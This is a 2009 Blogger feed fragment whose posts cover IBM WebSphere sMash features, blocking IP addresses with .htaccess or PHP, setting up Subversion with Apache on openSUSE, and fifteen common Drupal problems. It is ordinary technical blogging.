Tools&lt;/b&gt;&lt;br /&gt;WebSphere sMash offers visual assembly-style development for designing server-side business logic as well as visual design editors for designing rich user interfaces.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6713895834463193467?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6713895834463193467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-benefits-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6713895834463193467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6713895834463193467'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-benefits-for.html' title='IBM WebSphere sMash benefits for Developers'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8388036405236025558</id><published>2009-03-31T03:26:00.000-07:00</published><updated>2009-03-31T03:27:02.594-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>WebSphere sMash -- In Three Words</title><content type='html'>&lt;p style="font-family: arial;"&gt;&lt;b&gt;Speed:&lt;/b&gt;&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;Dynamic scripting languages&lt;/li&gt;&lt;li&gt;Fewer lines of code&lt;/li&gt;&lt;li&gt;Browser-based tooling&lt;/li&gt;&lt;/ul&gt;   &lt;p style="font-family: arial;"&gt;&lt;b&gt;Simplicity:&lt;/b&gt;&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;Leverage pre-existing content&lt;/li&gt;&lt;li&gt;Use the web as your SOA platform&lt;/li&gt;&lt;li&gt;Visual Assembly-style development&lt;/li&gt;&lt;/ul&gt;   &lt;p style="font-family: arial;"&gt;&lt;b&gt;Agility:&lt;/b&gt;&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;Small footprint&lt;/li&gt;&lt;li&gt;Easily modify your applications&lt;/li&gt;&lt;li&gt;Restart the server in seconds&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8388036405236025558?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8388036405236025558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/websphere-smash-in-three-words.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8388036405236025558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8388036405236025558'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/websphere-smash-in-three-words.html' title='WebSphere sMash -- In Three Words'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4942134159214546360</id><published>2009-03-31T03:25:00.000-07:00</published><updated>2009-03-31T03:26:12.236-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>What is IBM WebSphere sMash?</title><content type='html'>&lt;p style="font-family: arial;"&gt;&lt;b&gt;A development and execution platform for quickly building agile, web-based applications.&lt;/b&gt;&lt;/p&gt;  &lt;p style="font-family: arial;"&gt;WebSphere sMash v1.1 enables developers to quickly build and execute agile, Web 2.0-based applications that help businesses be more responsive, flexible and cost-effective. As a fast and simple application foundation, WebSphere sMash advances Smart SOA and accelerates business and IT alignment.&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;Supports some of today's hottest dynamic scripting languages - PHP and Groovy - and provides an agile development environment that has a small footprint, is easy to modify and is fast to re-start&lt;/li&gt;&lt;li&gt;Allows you to unleash and reuse enterprise content, including SOA services, as RESTful services. It extends the reach of SOA - effectively using the web as your SOA platform&lt;/li&gt;&lt;li&gt;Enables the rapid aggregation of disparate services and feeds and supports a broad array of Microsoft environments, bringing you the information you need quickly.&lt;/li&gt;&lt;li&gt;Is based on the highly-acclaimed public incubator and developer community, Project Zero. Visit www.projectzero.org to learn more and get involved.&lt;/li&gt;&lt;li&gt;The IBM Reliable Transport Extension for WebSphere sMash provides the additional capability for WebSphere sMash Version 1.1 applications to interact, using an asynchronous, reliable transport based on queues.&lt;/li&gt;&lt;li&gt;WebSphere sMash Developers Edition v1.1 is available for free download and limited deployment. It represents the stable version of WebSphere sMash plus browser-based tooling and an Eclipse plug-in, while the latest iterations of the tooling are available on www.projectzero.org. WebSphere sMash licenses are purchased when deploying it into production. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4942134159214546360?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4942134159214546360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-ibm-websphere-smash.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4942134159214546360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4942134159214546360'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-ibm-websphere-smash.html' title='What is IBM WebSphere sMash?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2197246996885335619</id><published>2009-03-31T03:21:00.001-07:00</published><updated>2009-03-31T03:23:45.144-07:00</updated><title type='text'>IBM WebSphere sMash Architecture for Web 2.0 application</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdHuvfL-X9I/AAAAAAAAABY/4z5Vpi-A87Q/s1600-h/clip_image002.jpg"&gt;&lt;img style="cursor: pointer; width: auto; height: auto;" src="http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdHuvfL-X9I/AAAAAAAAABY/4z5Vpi-A87Q/s320/clip_image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5319295134494253010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2197246996885335619?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2197246996885335619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-architecture-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2197246996885335619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2197246996885335619'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/ibm-websphere-smash-architecture-for.html' title='IBM WebSphere sMash Architecture for Web 2.0 application'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdHuvfL-X9I/AAAAAAAAABY/4z5Vpi-A87Q/s72-c/clip_image002.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-187398162401995383</id><published>2009-03-31T03:14:00.000-07:00</published><updated>2009-03-31T03:15:59.350-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='HTACCESS'/><title type='text'>How to block IP addresses using .htaccess or .php</title><content type='html'>&lt;span style="font-weight:bold;"&gt;1. Using .htaccess&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to block IP address using .htaccess file than just copy the below code and paste it in to your .htaccess file. You just need to change the IP address that you want to block. Replace 120.120.120.120 with the IP address that you want to block.&lt;br /&gt;&lt;br /&gt;    order deny,allow&lt;br /&gt;    allow from all&lt;br /&gt;    deny from 120.120.120.120&lt;br /&gt;&lt;br /&gt;If you want to block series of IP address than just copy the below code and paste it in to your .htaccess file. And replace your IP address series. As per example given deny from 120.120.120 means it blocks 120.120.120.0 , 120.120.120.1 , .. , 120.120.120.255 IP addresses (means total 256 IP addresses).&lt;br /&gt;&lt;br /&gt;    order deny,allow&lt;br /&gt;    allow from all&lt;br /&gt;    deny from 120.120.120.&lt;br /&gt;&lt;br /&gt;In some cases if you want to block bunch of IP address than just copy the below code and paste it in to your .htaccess file. And replace your IP address bunch as per yours . As per example given deny from 120.120.*. means it blocks 120.120.*.0 , 120.120.*.1 , .. , 120.120.255.255 IP addresses (means total 256 * 256 = 65536 IP addresses).&lt;br /&gt;&lt;br /&gt;    order deny,allow&lt;br /&gt;    allow from all&lt;br /&gt;    deny from 120.120.*.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2 . Using php file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you don’t have .htaccess file access and want to block IP address using .php file than just copy the below code and paste it in to your .php file. You just need to change the IP address that you want to block. Replace 120.120.120.120 , 120.120.120.121 , 120.120.120.122 with the IP addresses that you want to block. You can define as many IP address as you want to block in an array declared below.&lt;br /&gt;&lt;br /&gt;    &lt;?php&lt;br /&gt;    $block = array(”120.120.120.120″, “120.120.120.121″, “120.120.120.122″);&lt;br /&gt;    if (in_array ($_SERVER['REMOTE_ADDR'], $block))&lt;br /&gt;    {&lt;br /&gt;    header(”location: http://www.yoursite.com/404.php?error=notallow”);&lt;br /&gt;    exit();&lt;br /&gt;    }&lt;br /&gt;    ?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-187398162401995383?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/187398162401995383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-block-ip-addresses-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/187398162401995383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/187398162401995383'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-block-ip-addresses-using.html' title='How to block IP addresses using .htaccess or .php'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6830974268948203274</id><published>2009-03-30T10:55:00.000-07:00</published><updated>2009-03-30T10:56:20.354-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><category scheme='http://www.blogger.com/atom/ns#' term='SVN'/><title type='text'>SubVersion setup on Linux</title><content type='html'>Introduction&lt;br /&gt;This howto is based on the Readme at/usr/share/doc/packages/subversion/README.SuSE, but extends it. The steps have been tested on Subversion 1.4.0, running on openSUSE 10.2.&lt;br /&gt;&lt;br /&gt;Subversion is a versioning system, which allows you to store a development filetree in a "repository", keeps track of edits made to the files, and allows those edits to be rolled back if necessary.&lt;br /&gt;&lt;br /&gt;The "SVN book" (Version Control with Subversion, Ben Collins-Sussman, Brian W. Fitzpatrick, C. Michael Pilato) is essential reading. The copy in /usr/share/doc/packages/subversion/html/book/svn-book.html is for Subversion 1.2. For 1.4 it is better to download the book from the website - substantial changes have been made, with a lot more information added. The book is rebuilt nightly.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Subversion flavours&lt;br /&gt;The simplest way to run Subversion on an individual PC is by using the file:// protocol to access the PC's filesystem. In most cases, however, you will want to allow access to the repository over the network. There are two options here - the svnserve protocol, or http://, using a webserver like Apache and the web-dav module.&lt;br /&gt;&lt;br /&gt;svnserve should not run as root user. On openSUSE, the startup script rcsvnserve expects a user/group named svn, configureable via /etc/sysconfig/svnserve. But this user/group must be created first:&lt;br /&gt;&lt;br /&gt; (su) groupadd -r svn; useradd -r -g svn -d /srv/svn -s /bin/false svn&lt;br /&gt;However, since Apache is more flexible, the rest of this howto deals with that.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Software installation&lt;br /&gt;Ensure these packages are installed: apache2, apache2-doc, apache2-prefork, libapr1, libapr-util1, neon, subversion, subversion-server.&lt;br /&gt;&lt;br /&gt;Update /etc/sysconfig/apache2 by adding dav and dav_svn to $APACHE_MODULES:&lt;br /&gt;&lt;br /&gt; (su) a2enmod dav&lt;br /&gt; (su) a2enmod dav_svn&lt;br /&gt;[edit]&lt;br /&gt;Configuration&lt;br /&gt;The configuration suggested in /usr/share/doc/packages/subversion/README.SuSE sets up individual repositories for each filetree. But since each one requires its own section in the Apache configuration file (/etc/apache2/conf.d/subversion.conf), the edits can be tiresome if you have a significant number of repositories, or are adding or deleting them regularly. Instead, the approach here sets up one parent repository which will hold all the project repositories. (Note that this may raise security issues if you don't want people to know what project repositories you are hosting, so consider that.)&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Configure the parent repository&lt;br /&gt;Using a text editor (nano in this case), run:&lt;br /&gt;&lt;br /&gt; (su) nano /etc/apache2/conf.d/subversion.conf&lt;br /&gt;and edit it to read as follows:&lt;br /&gt;&lt;br /&gt; # Example configuration for a subversion repository&lt;br /&gt; # see /usr/share/doc/packages/subversion for the full documentation&lt;br /&gt; &lt;IfModule mod_dav_svn.c&gt;&lt;br /&gt; # Set up single repository directory 'kdrepos'&lt;br /&gt; # This has open read access, but limited write (commit) access&lt;br /&gt; &lt;Location /kdrepos&gt;&lt;br /&gt;   DAV svn&lt;br /&gt;   SVNParentPath /srv/svn/kdrepos&lt;br /&gt;   # Allow the 'kdrepos' index page to list all the repositories it contains&lt;br /&gt;   SVNListParentPath On&lt;br /&gt;   # Limit write permission to list of valid users.&lt;br /&gt;   &lt;LimitExcept GET PROPFIND OPTIONS REPORT&gt;&lt;br /&gt;     # Require SSL connection for password protection.&lt;br /&gt;     # SSLRequireSSL&lt;br /&gt;     AuthType Basic&lt;br /&gt;     # Message to give to the committer&lt;br /&gt;     AuthName "Write access requires a password"&lt;br /&gt;     # File listing users with write (commit) access&lt;br /&gt;     AuthUserFile /srv/svn/user_access/svn_passwdfile&lt;br /&gt;     Require valid-user&lt;br /&gt;   &lt;/LimitExcept&gt;&lt;br /&gt; &lt;/Location&gt;&lt;br /&gt; # Set up stricter conditions for one directory within the 'kdrepos' dir:&lt;br /&gt; # 'secret_repo' has limited write access, and also limited read access.&lt;br /&gt; &lt;Location /kdrepos/secret_repo&gt;&lt;br /&gt;   Require valid-user&lt;br /&gt; &lt;/Location&gt;&lt;br /&gt; &lt;/IfModule&gt;&lt;br /&gt;Without the SVNListParentPath directive, you cannot go to the repositories' index page - you will get the response:&lt;br /&gt;&lt;br /&gt; Access forbidden!&lt;br /&gt; You don't have permission to access the requested directory. There is either no index document or the directory is read-protected. &lt;br /&gt; If you think this is a server error, please contact the webmaster. &lt;br /&gt; Error 403&lt;br /&gt;Thanks to this page for the secret_repo tip - this subdir will inherit the properties from the kderepos &lt;Location&gt; block, so we just need to tell Apache to require a valid user for anything, rather than for write access only.&lt;br /&gt;&lt;br /&gt;Create the repository directory:&lt;br /&gt;&lt;br /&gt; (su) mkdir -p /srv/svn/kdrepos&lt;br /&gt;[edit]&lt;br /&gt;Configure user access to the parent repository&lt;br /&gt;Note that only one user password file is being used here. However, this could be adjusted by writing clauses on a per-directory basis, as with secret_repo above.&lt;br /&gt;&lt;br /&gt;Set up the password file:&lt;br /&gt;&lt;br /&gt; (su) mkdir /srv/svn/user_access&lt;br /&gt; (su) touch /srv/svn/user_access/svn_passwdfile&lt;br /&gt;Change the group so that Apache can access it:&lt;br /&gt;&lt;br /&gt; (su) chown root:www /srv/svn/user_access/svn_passwdfile&lt;br /&gt;Tighten the permissions:&lt;br /&gt;&lt;br /&gt; (su) chmod 640 /srv/svn/user_access/svn_passwdfile&lt;br /&gt;Add the users:&lt;br /&gt;&lt;br /&gt; (su) htpasswd2 /srv/svn/user_access/svn_passwdfile your_user&lt;br /&gt;and enter the password twice.&lt;br /&gt;&lt;br /&gt;Restart Apache2:&lt;br /&gt;&lt;br /&gt; (su) rcapache2 restart&lt;br /&gt;You should now be able to access the parent repository by opening a browser and going to http://localhost/kdrepos, but of course nothing will be listed there.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Set up a project repository&lt;br /&gt;Create an svn dir for each project you want to import, and change its permissions:&lt;br /&gt;&lt;br /&gt; (su) svnadmin create /srv/svn/kdrepos/meddaliadur&lt;br /&gt;The next step depends on your subversion version, perform one or the other.&lt;br /&gt;&lt;br /&gt;Subversion &gt;=1.5 Subversion &lt;1.5&lt;br /&gt;chown -R wwwrun:www /srv/svn/kdrepos/meddaliadur/{db,locks}&lt;br /&gt;chown wwwrun:www /srv/svn/kdrepos/meddaliadur/&lt;br /&gt;chown -R wwwrun:www /srv/svn/kdrepos/meddaliadur/{dav,db,locks}&lt;br /&gt;Here we are setting up a repository for a project called Meddaliadur&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;First import&lt;br /&gt;Import the new project:&lt;br /&gt;&lt;br /&gt; svn import /path/to/meddaliadur/files http://localhost/kdrepos/meddaliadur -m "initial import"&lt;br /&gt;and give your password when prompted.&lt;br /&gt;&lt;br /&gt;Note that if you try to import before you have created the project repository directory, you will get the following error message:&lt;br /&gt;&lt;br /&gt; svn: PROPFIND request failed on '/kdrepos/meddaliadur'&lt;br /&gt; svn: Could not open the requested SVN filesystem&lt;br /&gt;If you browse back to your parent repository, http://localhost/kdrepos, you should now see a link to the meddaliadur project repository, and clicking on it will give a new page with the files in the project.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;Check out a working copy&lt;br /&gt;Move into the directory where you will be keeping a local working copy (maybe /public_html if you are doing web development), and checkout the versioned filetree:&lt;br /&gt;&lt;br /&gt; cd ~/public_html&lt;br /&gt; svn checkout http://localhost/kdrepos/meddaliadur&lt;br /&gt;This will create the directory /public_html/meddaliadur, with a fresh version of the files from the Subversion repository.&lt;br /&gt;&lt;br /&gt;Move into the new working copy, and run a few commands:&lt;br /&gt;&lt;br /&gt; cd /meddaliadur&lt;br /&gt; svn list --verbose  # Review what files were checked out&lt;br /&gt; svn info  # Get summary information on this working copy&lt;br /&gt; cat &gt; info.txt  # Try adding a new file to the working copy&lt;br /&gt; This is a new file  # Press Return, and then Ctrl-D to write this text to info.txt&lt;br /&gt; cat info.txt  # Review the new file&lt;br /&gt; svn add info.txt  # Let Subversion know that a new file has been created&lt;br /&gt;You should get a response like:&lt;br /&gt;&lt;br /&gt; A         info.txt&lt;br /&gt; svn commit info.txt  # Commit the new file to the project repository&lt;br /&gt;You should be asked for a commit message (see below), and then your password, and you should get a response like:&lt;br /&gt;&lt;br /&gt; Adding         info.txt&lt;br /&gt; Transmitting file data .&lt;br /&gt; Committed revision 2.&lt;br /&gt; &lt;br /&gt;The above svn commit command does not include a commit message, which will inform other developers (and remind yourself) of what this new file or edit was intended to do. By default, Subversion opens an editor so that you can add a message. The default editor is the rather forbidding vi - if this opens and you don't have a clue how to use it, just type in:&lt;br /&gt;&lt;br /&gt; :wq!&lt;br /&gt;This will close the editor. You may find it easier to change the default editor for one you are more familiar with. To do this, open /home/your_user/.subversion/config and adjust the editor-cmd line. For instance, to use nano, the line should read:&lt;br /&gt;&lt;br /&gt; editor-cmd = nano&lt;br /&gt;To commit and add a message in one go, use:&lt;br /&gt;&lt;br /&gt; svn commit info.txt -m "My first commit"&lt;br /&gt;If other developers have added or edited files (or if you have done this on another PC on the LAN and want to update your working copy on this PC), run:&lt;br /&gt;&lt;br /&gt; svn update&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6830974268948203274?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6830974268948203274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/subversion-setup-on-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6830974268948203274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6830974268948203274'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/subversion-setup-on-linux.html' title='SubVersion setup on Linux'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2116151406243795447</id><published>2009-03-30T10:44:00.000-07:00</published><updated>2009-03-30T10:45:48.136-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Top 15 Drupal problems</title><content type='html'>&lt;span style="font-weight:bold;"&gt;1. Users with ‘edit page content’ access cannot edit simple pages&lt;br /&gt;&lt;/span&gt;Chances are the nodes that the users are trying to edit have an input format that they’re not permitted to use. Try this:&lt;br /&gt;&lt;br /&gt;Check the input format for the body field. If its “Full HTML” or “PHP Code” for example, and that user role cannot create content of that input type, they won’t even see an edit tab for that node. Either change the input format to one they can access, or grant access to that input format at: “admin/settings/filters”&lt;br /&gt;Double check that their role has permission to edit that particular node type at “admin/user/permissions”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. My client cannot see content he/she has created after logging out&lt;br /&gt;&lt;/span&gt;This is likely a caching issue. They can see the content when they are logged in because some caching instances are based on user roles. Check the following:&lt;br /&gt;&lt;br /&gt;Clear cached data at “admin/settings/performance”&lt;br /&gt;Clear your browser’s cache&lt;br /&gt;Adjust the “Minimum Cache lifetime” setting also under “admin/settings/performance”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Images within posts are disappearing after publishing the node&lt;br /&gt;&lt;/span&gt;This is likely related to the “Input Format” (again). If the node is using the default settings, “Filtered HTML”, input format tags such as img, object, script, etc. will be stripped out. Try the following:&lt;br /&gt;&lt;br /&gt;Grant the role in question access to the “Full HTML” input format&lt;br /&gt;Create a custom Input Format that includes the tags you want&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. My theme (CSS/template) changes aren’t showing up&lt;br /&gt;&lt;/span&gt;Is CSS caching turned on? If so, turn it off while your theme is still under development. You can do so at “admin/settings/performance”&lt;br /&gt;If that still doesn’t work, try clearing your browser’s cache&lt;br /&gt;If you’re using Drupal 6, you may also need to clear out the theme registry if you have added new theme functions or new templates. While you’re at admin/settings/performance, you can hit the “Clear cached data” button. Check out a full write-up about the new theme registry. (Thanks Steven Merrill!)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5. I’ve lost all my anonymous user content! (comments)&lt;br /&gt;&lt;/span&gt;When was the last time you imported/exported your database? This issue seems to happen when MySQL creates the user’s table from a batch file (or database transfer via Navicat) – the user id from the table is auto-incremented and the required ‘0’ value is replaced. Try the following:&lt;br /&gt;&lt;br /&gt;Manually reset the uid value for the anonymous visitors in the users table. More info found here at Drupal.org&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6. I’m getting the dreaded white screen of death!&lt;br /&gt;&lt;/span&gt;There are many possible causes for this: PHP error reporting settings, memory exhaustion, etc. Try the following:&lt;br /&gt;&lt;br /&gt;Read this article on Drupal.org&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;7. My web pages take forever to load. What’s the deal?&lt;br /&gt;&lt;/span&gt;Obviously, there could be many factors at play with this one. Try using the caching capabilities of Drupal. Caching can drastically improve the load times. Especially compressing CSS and JavaScript files - this will help reduce the number of header requests.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;8. It’s a pain to try and develop a theme starting with Garland. Isn’t there a better way to theme from scratch?&lt;br /&gt;&lt;/span&gt;Yes, there is. Install the Zen theme starter kit. Zen makes it easy to theme from scratch, and best of all, Zen is a standards-compliant theme.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9. My blog gets hit with a ton of spam, what can I do?&lt;br /&gt;&lt;/span&gt;1 word: Mollom; install the Mollom spam module, configure it, and you’ll forget that spam ever existed. Mollom has a free and a paid version - the free will be sufficient for most sites and it even includes some impressive statistics reporting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;10. How can I figure out which theme function (or template file) I need to override in different places?&lt;br /&gt;&lt;/span&gt;Install the Devel module. The Devel module was created specifically for Drupal developers. It will streamline your Drupal development process by showing you which functions/templates were used to render parts of the page.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;11. My layout looks “broken” all of the sudden, what happened?&lt;br /&gt;&lt;/span&gt;This may be a CSS issue, it may be a caching issue, or it may be something else. Try emptying the cache (admin/settings/performance) or try rebuilding the theme registry. Side note: you can easily empty Drupal’s cache and rebuild the theme registry using the menu provided by the Devel module mentioned above.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;12. CSS images disappear when caching CSS caching is turned on&lt;br /&gt;&lt;/span&gt;There are a number of potential causes for this:&lt;br /&gt;&lt;br /&gt;Check the permissions to the files and CSS folders at (sites/default and sites/default/files/css respectively) - the server needs read and write access&lt;br /&gt;Is your CSS file importing another with @import? This could be breaking things. Try embedding the imported CSS directly&lt;br /&gt;Are you using relative or absolute paths? There seems to be an issue with this as well&lt;br /&gt;Do you have any funny characters in your URL? While working on a local version of one our sites, we had parenthesis in a directory name; this was breaking the link&lt;br /&gt;Check this article for some more information&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;13. My custom URL alias keeps being overridden!&lt;br /&gt;&lt;/span&gt;If you have the Pathauto module installed, it might be overriding your custom URL. To fix this, uncheck “Automatic URL Alias” under the URL alias fieldset – this will allow you to use your custom URL in conjunction with the Pathauto module. Also, there is a patch that apparently fixes this issue - though we have yet to test this.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;14. Users cannot view/edit custom CCK field(s)&lt;br /&gt;&lt;/span&gt;Do you have the “Content Permissions” helper module enabled that comes packaged with CCK? If so, check the field permissions for that user role. By default, only users with administer CCK privileges can edit/view each field.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;15. A specific Drupal user isn’t able to perform a necessary task (such as editing a specific content type)&lt;br /&gt;&lt;/span&gt;Double check the permissions for the user’s Role(s); they probably don’t have sufficient privileges to carry out the task.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2116151406243795447?l=opensourceconcepts.blogspot.com' alt='' 